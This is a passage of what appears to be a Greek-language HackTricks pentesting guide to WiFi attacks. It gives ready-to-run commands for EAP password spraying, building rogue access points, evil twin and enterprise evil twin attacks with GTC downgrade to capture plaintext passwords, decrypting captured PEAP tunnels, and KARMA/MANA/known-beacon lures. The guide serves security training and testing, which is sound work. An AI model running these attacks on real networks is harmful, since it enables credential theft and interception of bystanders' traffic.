Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο πελάτης συνήθως αυθεντικοποιείται χρησιμοποιώντας PAP ή CHAP, ασφαλισμένο από το τούνελ TLS. Σε αυτή την περίπτωση, ο πελάτης περιλαμβάνει ένα χαρακτηριστικό User-Name και είτε ένα Password είτε ένα CHAP-Password χαρακτηριστικό στο αρχικό μήνυμα TLS που αποστέλλεται μετά την καθιέρωση του τούνελ.

Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Εάν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από το TTLS), το User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS.

Για περισσότερες πληροφορίες δείτε https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-Bruteforce (password spray)

Εάν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα όνομα χρήστη και κωδικό (σημειώστε ότι EAP-TLS δεν θα είναι έγκυρο σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια λίστα με ονόματα χρήστη (δείτε το επόμενο μέρος) και κωδικούς και να προσπαθήσετε να σπάσετε την πρόσβαση χρησιμοποιώντας air-hammer.

bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Μπορείτε επίσης να εκτελέσετε αυτήν την επίθεση χρησιμοποιώντας eaphammer:

bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Θεωρία Επιθέσεων Πελάτη

Επιλογή Δικτύου και Περιπλάνηση

  • Το πρωτόκολλο 802.11 καθορίζει πώς μια σταθμός συνδέεται σε ένα Extended Service Set (ESS) αλλά δεν προσδιορίζει τα κριτήρια για την επιλογή ενός ESS ή ενός access point (AP) εντός αυτού.
  • Οι σταθμοί μπορούν να περιπλανώνται μεταξύ APs που μοιράζονται το ίδιο ESSID, διατηρώντας τη συνδεσιμότητα σε ένα κτίριο ή περιοχή.
  • Το πρωτόκολλο απαιτεί την αυθεντικοποίηση του σταθμού στο ESS αλλά δεν επιβάλλει την αυθεντικοποίηση του AP στον σταθμό.

Λίστες Προτιμώμενων Δικτύων (PNLs)

  • Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου με το οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες συγκεκριμένης διαμόρφωσης δικτύου.
  • Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία του χρήστη απλοποιώντας τη διαδικασία σύνδεσης.

Παθητική Σάρωση

  • Οι APs περιοδικά εκπέμπουν beacon frames, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
  • Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για beacon frames. Αν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
  • Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα κακόβουλο AP.

Ενεργή Διερεύνηση

  • Η ενεργή διερεύνηση περιλαμβάνει τους σταθμούς να στέλνουν αιτήματα probe για να ανακαλύψουν κοντινά APs και τα χαρακτηριστικά τους.
  • Τα κατευθυνόμενα αιτήματα probe στοχεύουν ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο.
  • Τα αιτήματα probe εκπομπής έχουν ένα κενό πεδίο SSID και αποστέλλονται σε όλα τα κοντινά APs, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύψει το περιεχόμενο της PNL του.

Απλό AP με ανακατεύθυνση στο Διαδίκτυο

Πριν εξηγήσουμε πώς να εκτελέσουμε πιο σύνθετες επιθέσεις, θα εξηγηθεί πώς να δημιουργήσουμε ένα AP και να ανακατευθύνουμε την κίνηση του σε μια διεπαφή που είναι συνδεδεμένη στο Διαδίκτυο.

Χρησιμοποιώντας ifconfig -a ελέγξτε ότι η διεπαφή wlan για τη δημιουργία του AP και η διεπαφή που είναι συνδεδεμένη στο Διαδίκτυο είναι παρούσες.

DHCP & DNS

bash
apt-get install dnsmasq #Manages DHCP and DNS

Δημιουργήστε το αρχείο ρυθμίσεων /etc/dnsmasq.conf:

ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Τότε ορίστε IPs και διαδρομές:

bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Και στη συνέχεια ξεκινήστε το dnsmasq:

bash
dnsmasq -C dnsmasq.conf -d

hostapd

bash
apt-get install hostapd

Δημιουργήστε ένα αρχείο ρυθμίσεων hostapd.conf:

ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Σταματήστε τις ενοχλητικές διεργασίες, ρυθμίστε λειτουργία παρακολούθησης και ξεκινήστε το hostapd:

bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Προώθηση και Ανακατεύθυνση

bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Η επίθεση evil twin εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενη κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτεί από τον σταθμό βάσης (access point) να πιστοποιήσει τον εαυτό του στον πελάτη. Σημαντικά σημεία περιλαμβάνουν:

  • Δυσκολία στη Διαφοροποίηση: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπές.
  • Περιπλάνηση Πελατών και Χειρισμός Σύνδεσης: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιπλανώνται μεταξύ access points εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το γεγονός προσελκύοντας μια συσκευή να αποσυνδεθεί από τον τρέχοντα σταθμό βάσης της και να συνδεθεί σε έναν κακόβουλο. Αυτό μπορεί να επιτευχθεί προσφέροντας ένα ισχυρότερο σήμα ή διακόπτοντας τη σύνδεση με το νόμιμο access point μέσω μεθόδων όπως τα πακέτα αποσύνδεσης ή η παρεμβολή.
  • Προκλήσεις στην Εκτέλεση: Η επιτυχής εκτέλεση μιας επίθεσης evil twin σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα access points μπορεί να είναι δύσκολη. Η αποσύνδεση ενός μόνο νόμιμου access point συχνά έχει ως αποτέλεσμα τη σύνδεση της συσκευής σε άλλο νόμιμο access point, εκτός αν ο επιτιθέμενος μπορεί να αποσυνδέσει όλα τα κοντινά access points ή να τοποθετήσει στρατηγικά το κακόβουλο access point.

Μπορείτε να δημιουργήσετε ένα πολύ βασικό Open Evil Twin (χωρίς δυνατότητες δρομολόγησης της κίνησης στο Διαδίκτυο) κάνοντας:

bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας το eaphammer (σημειώστε ότι για να δημιουργήσετε κακούς διδύμους με το eaphammer η διεπαφή δεν θα πρέπει να είναι σε λειτουργία παρακολούθησης):

bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Ή χρησιμοποιώντας το Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

Παρακαλώ, σημειώστε ότι από προεπιλογή, αν ένα ESSID στην PNL είναι αποθηκευμένο ως WPA προστατευμένο, η συσκευή δεν θα συνδεθεί αυτόματα σε ένα Open evil Twin. Μπορείτε να προσπαθήσετε να DoS τον πραγματικό AP και να ελπίζετε ότι ο χρήστης θα συνδεθεί χειροκίνητα στο Open evil twin σας, ή μπορείτε να DoS τον πραγματικό AP και να χρησιμοποιήσετε ένα WPA Evil Twin για να καταγράψετε το handshake (χρησιμοποιώντας αυτή τη μέθοδο δεν θα μπορείτε να αφήσετε το θύμα να συνδεθεί σε εσάς καθώς δεν γνωρίζετε το PSK, αλλά μπορείτε να καταγράψετε το handshake και να προσπαθήσετε να το σπάσετε).

Ορισμένα λειτουργικά συστήματα και AV θα προειδοποιήσουν τον χρήστη ότι η σύνδεση σε ένα Open δίκτυο είναι επικίνδυνη...

WPA/WPA2 Evil Twin

Μπορείτε να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας WPA/2 και αν οι συσκευές είναι ρυθμισμένες να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, για να ολοκληρωθεί το 4-way-handshake πρέπει επίσης να γνωρίζετε τον κωδικό πρόσβασης που θα χρησιμοποιήσει ο πελάτης. Αν δεν τον γνωρίζετε, η σύνδεση δεν θα ολοκληρωθεί.

bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

Για να κατανοήσετε αυτές τις επιθέσεις, θα συνιστούσα να διαβάσετε πρώτα την σύντομη εξήγηση WPA Enterprise.

Χρησιμοποιώντας το hostapd-wpe

hostapd-wpe χρειάζεται ένα αρχείο ρύθμισης για να λειτουργήσει. Για να αυτοματοποιήσετε τη δημιουργία αυτών των ρυθμίσεων, μπορείτε να χρησιμοποιήσετε https://github.com/WJDigby/apd_launchpad (κατεβάστε το αρχείο python μέσα στο /etc/hostapd-wpe/).

bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

Στο αρχείο ρύθμισης μπορείτε να επιλέξετε πολλά διαφορετικά πράγματα όπως ssid, κανάλι, αρχεία χρηστών, cret/key, παραμέτρους dh, έκδοση wpa και αυθεντικοποίηση...

Χρησιμοποιώντας το hostapd-wpe με EAP-TLS για να επιτρέψετε σε οποιοδήποτε πιστοποιητικό να συνδεθεί.

Χρησιμοποιώντας το EAPHammer

bash
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Από προεπιλογή, το EAPHammer προτείνει αυτές τις μεθόδους αυθεντικοποίησης (σημειώστε το GTC ως την πρώτη που θα προσπαθήσει να αποκτήσει κωδικούς πρόσβασης σε απλή μορφή και στη συνέχεια τη χρήση πιο ανθεκτικών μεθόδων αυθεντικοποίησης):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Αυτή είναι η προεπιλεγμένη μεθοδολογία για να αποφευχθούν οι μεγάλες χρόνοι σύνδεσης. Ωστόσο, μπορείτε επίσης να καθορίσετε στους διακομιστές τις μεθόδους αυθεντικοποίησης από την πιο αδύναμη στην πιο ισχυρή:

--negotiate weakest

Ή μπορείτε επίσης να χρησιμοποιήσετε:

  • --negotiate gtc-downgrade για να χρησιμοποιήσετε μια πολύ αποδοτική υλοποίηση υποβάθμισης GTC (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP για να καθορίσετε χειροκίνητα τις μεθόδους που προσφέρονται (η προσφορά των ίδιων μεθόδων αυθεντικοποίησης με την ίδια σειρά όπως η οργάνωση θα κάνει την επίθεση πολύ πιο δύσκολη να ανιχνευθεί).
  • Βρείτε περισσότερες πληροφορίες στη wiki

Χρησιμοποιώντας το Airgeddon

Airgeddon μπορεί να χρησιμοποιήσει προηγουμένως παραγόμενα πιστοποιητικά για να προσφέρει EAP αυθεντικοποίηση σε δίκτυα WPA/WPA2-Enterprise. Το ψεύτικο δίκτυο θα υποβαθμίσει το πρωτόκολλο σύνδεσης σε EAP-MD5 ώστε να μπορεί να καταγράψει τον χρήστη και το MD5 του κωδικού πρόσβασης. Αργότερα, ο επιτιθέμενος μπορεί να προσπαθήσει να σπάσει τον κωδικό πρόσβασης.
Airgeddon σας προσφέρει τη δυνατότητα μιας συνεχιζόμενης επίθεσης Evil Twin (θορυβώδης) ή μόνο να δημιουργήσει την επίθεση Evil μέχρι να συνδεθεί κάποιος (ομαλή).

Αποσφαλμάτωση PEAP και EAP-TTLS TLS tunnels σε επιθέσεις Evil Twins

Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS

Μέσα στην διαμόρφωση του hostapd-wpe σχολιάστε τη γραμμή που περιέχει το dh_file (από dh_file=/etc/hostapd-wpe/certs/dh σε #dh_file=/etc/hostapd-wpe/certs/dh)
Αυτό θα κάνει το hostapd-wpe να ανταλλάσσει κλειδιά χρησιμοποιώντας RSA αντί για DH, έτσι θα μπορείτε να αποκρυπτογραφήσετε την κίνηση αργότερα γνωρίζοντας το ιδιωτικό κλειδί του διακομιστή.

Τώρα ξεκινήστε το Evil Twin χρησιμοποιώντας hostapd-wpe με αυτή τη τροποποιημένη διαμόρφωση όπως συνήθως. Επίσης, ξεκινήστε wireshark στη διεύθυνση που εκτελεί την επίθεση Evil Twin.

Τώρα ή αργότερα (όταν έχετε ήδη καταγράψει κάποιες προθέσεις αυθεντικοποίησης) μπορείτε να προσθέσετε το ιδιωτικό RSA κλειδί στο wireshark στο: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Προσθέστε μια νέα καταχώρηση και συμπληρώστε τη φόρμα με αυτές τις τιμές: Διεύθυνση IP = οποιαδήποτε -- Θύρα = 0 -- Πρωτόκολλο = data -- Αρχείο Κλειδιού (επιλέξτε το αρχείο κλειδιού σας, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού χωρίς προστασία κωδικού πρόσβασης).

Και κοιτάξτε την νέα καρτέλα "Αποκρυπτογραφημένο TLS":

KARMA, MANA, Loud MANA και επιθέσεις με γνωστά beacon

ESSID και MAC μαύρες/λευκές λίστες

Διαφορετικοί τύποι Λιστών Φίλτρων Πρόσβασης Μέσων (MFACLs) και οι αντίστοιχες λειτουργίες και επιδράσεις τους στη συμπεριφορά ενός κακόβουλου Σημείου Πρόσβασης (AP):

  1. Λευκή Λίστα βάσει MAC:
  • Το κακόβουλο AP θα απαντά μόνο σε αιτήματα probe από συσκευές που καθορίζονται στη λευκή λίστα, παραμένοντας αόρατο σε όλες τις άλλες που δεν αναφέρονται.
  1. Μαύρη Λίστα βάσει MAC:
  • Το κακόβουλο AP θα αγνοεί τα αιτήματα probe από συσκευές στη μαύρη λίστα, καθιστώντας το κακόβουλο AP αόρατο για αυτές τις συγκεκριμένες συσκευές.
  1. Λευκή Λίστα βάσει SSID:
  • Το κακόβουλο AP θα απαντά σε αιτήματα probe μόνο για συγκεκριμένα ESSIDs που αναφέρονται, καθιστώντας το αόρατο για συσκευές των οποίων οι Λίστες Προτιμώμενων Δικτύων (PNLs) δεν περιέχουν αυτά τα ESSIDs.
  1. Μαύρη Λίστα βάσει SSID:
  • Το κακόβουλο AP δεν θα απαντά σε αιτήματα probe για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, καθιστώντας το αόρατο για συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
bash
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Αυτή η μέθοδος επιτρέπει σε έναν επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα ανίχνευσης από συσκευές που επιθυμούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική παγιδεύει τις συσκευές να συνδεθούν στο AP του επιτιθέμενου μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.

MANA

Στη συνέχεια, οι συσκευές άρχισαν να αγνοούν τις ανεπιθύμητες απαντήσεις δικτύου, μειώνοντας την αποτελεσματικότητα της αρχικής επίθεσης karma. Ωστόσο, μια νέα μέθοδος, γνωστή ως επίθεση MANA, εισήχθη από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το κακόβουλο AP να καταγράφει τις Λίστες Προτιμώμενων Δικτύων (PNL) από τις συσκευές απαντώντας στα αιτήματα ανίχνευσης που εκπέμπουν με ονόματα δικτύων (SSIDs) που είχαν ζητηθεί προηγουμένως από τις συσκευές. Αυτή η εξελιγμένη επίθεση παρακάμπτει τις προστασίες κατά της αρχικής επίθεσης karma εκμεταλλευόμενη τον τρόπο που οι συσκευές θυμούνται και ιεραρχούν τα γνωστά δίκτυα.

Η επίθεση MANA λειτουργεί παρακολουθώντας τόσο τα κατευθυνόμενα όσο και τα εκπέμποντα αιτήματα ανίχνευσης από τις συσκευές. Για τα κατευθυνόμενα αιτήματα, καταγράφει τη διεύθυνση MAC της συσκευής και το ζητούμενο όνομα δικτύου, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν ληφθεί ένα εκπέμπον αίτημα, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, προσελκύοντας τη συσκευή να συνδεθεί στο κακόβουλο AP.

bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Μια Loud MANA επίθεση είναι μια προηγμένη στρατηγική για όταν οι συσκευές δεν χρησιμοποιούν κατευθυνόμενη αναζήτηση ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται ορισμένα ονόματα δικτύων στις PNL τους. Αντί να απαντούν επιλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί με το κακόβουλο Access Point (AP).

bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Όταν η Loud MANA attack μπορεί να μην είναι επαρκής, η Known Beacon attack προσφέρει μια άλλη προσέγγιση. Αυτή η μέθοδος brute-forces τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, κυκλώνοντας μια λίστα πιθανών ESSIDs που προέρχονται από μια λίστα λέξεων. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στην PNL του θύματος, προκαλώντας μια απόπειρα σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντας την με την επιλογή --loud για μια πιο επιθετική απόπειρα να παγιδεύσει συσκευές.

Το Eaphammer υλοποίησε αυτή την επίθεση ως MANA attack όπου όλα τα ESSIDs μέσα σε μια λίστα είναι φορτισμένα (μπορείτε επίσης να το συνδυάσετε με --loud για να δημιουργήσετε μια Loud MANA + Known beacons attack):

bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Γνωστή επίθεση Beacon Burst

Η Γνωστή επίθεση Beacon Burst περιλαμβάνει ταχεία μετάδοση πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα συσκευών να συνδεθούν με το κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών.

bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi-Fi χωρίς την ανάγκη παραδοσιακού ασύρματου σημείου πρόσβασης. Αυτή η δυνατότητα είναι ενσωματωμένη σε διάφορες συσκευές Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την άμεση επικοινωνία συσκευής προς συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό του Wi-Fi Direct είναι ότι μία συσκευή αναλαμβάνει το ρόλο του σημείου πρόσβασης, γνωστό ως ο ιδιοκτήτης της ομάδας, για να διαχειρίζεται τη σύνδεση.

Η ασφάλεια για τις συνδέσεις Wi-Fi Direct καθορίζεται μέσω του Wi-Fi Protected Setup (WPS), το οποίο υποστηρίζει αρκετές μεθόδους για ασφαλή ζευγοποίηση, συμπεριλαμβανομένων:

  • Push-Button Configuration (PBC)
  • Εισαγωγή PIN
  • Near-Field Communication (NFC)

Αυτές οι μέθοδοι, ιδιαίτερα η εισαγωγή PIN, είναι ευάλωτες στις ίδιες αδυναμίες όπως το WPS σε παραδοσιακά δίκτυα Wi-Fi, καθιστώντας τις στόχους για παρόμοιες επιθέσεις.

EvilDirect Hijacking

EvilDirect Hijacking είναι μια επίθεση που είναι συγκεκριμένη για το Wi-Fi Direct. Αντιγράφει την έννοια μιας επίθεσης Evil Twin αλλά στοχεύει σε συνδέσεις Wi-Fi Direct. Σε αυτό το σενάριο, ένας επιτιθέμενος προσποιείται έναν νόμιμο ιδιοκτήτη ομάδας με σκοπό να παραπλανήσει τις συσκευές ώστε να συνδεθούν σε μια κακόβουλη οντότητα. Αυτή η μέθοδος μπορεί να εκτελεστεί χρησιμοποιώντας εργαλεία όπως το airbase-ng καθορίζοντας το κανάλι, το ESSID και τη διεύθυνση MAC της προσποιούμενης συσκευής:

References

TODO: Take a look to https://github.com/wifiphisher/wifiphisher (login con facebook e imitacionde WPA en captive portals)

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks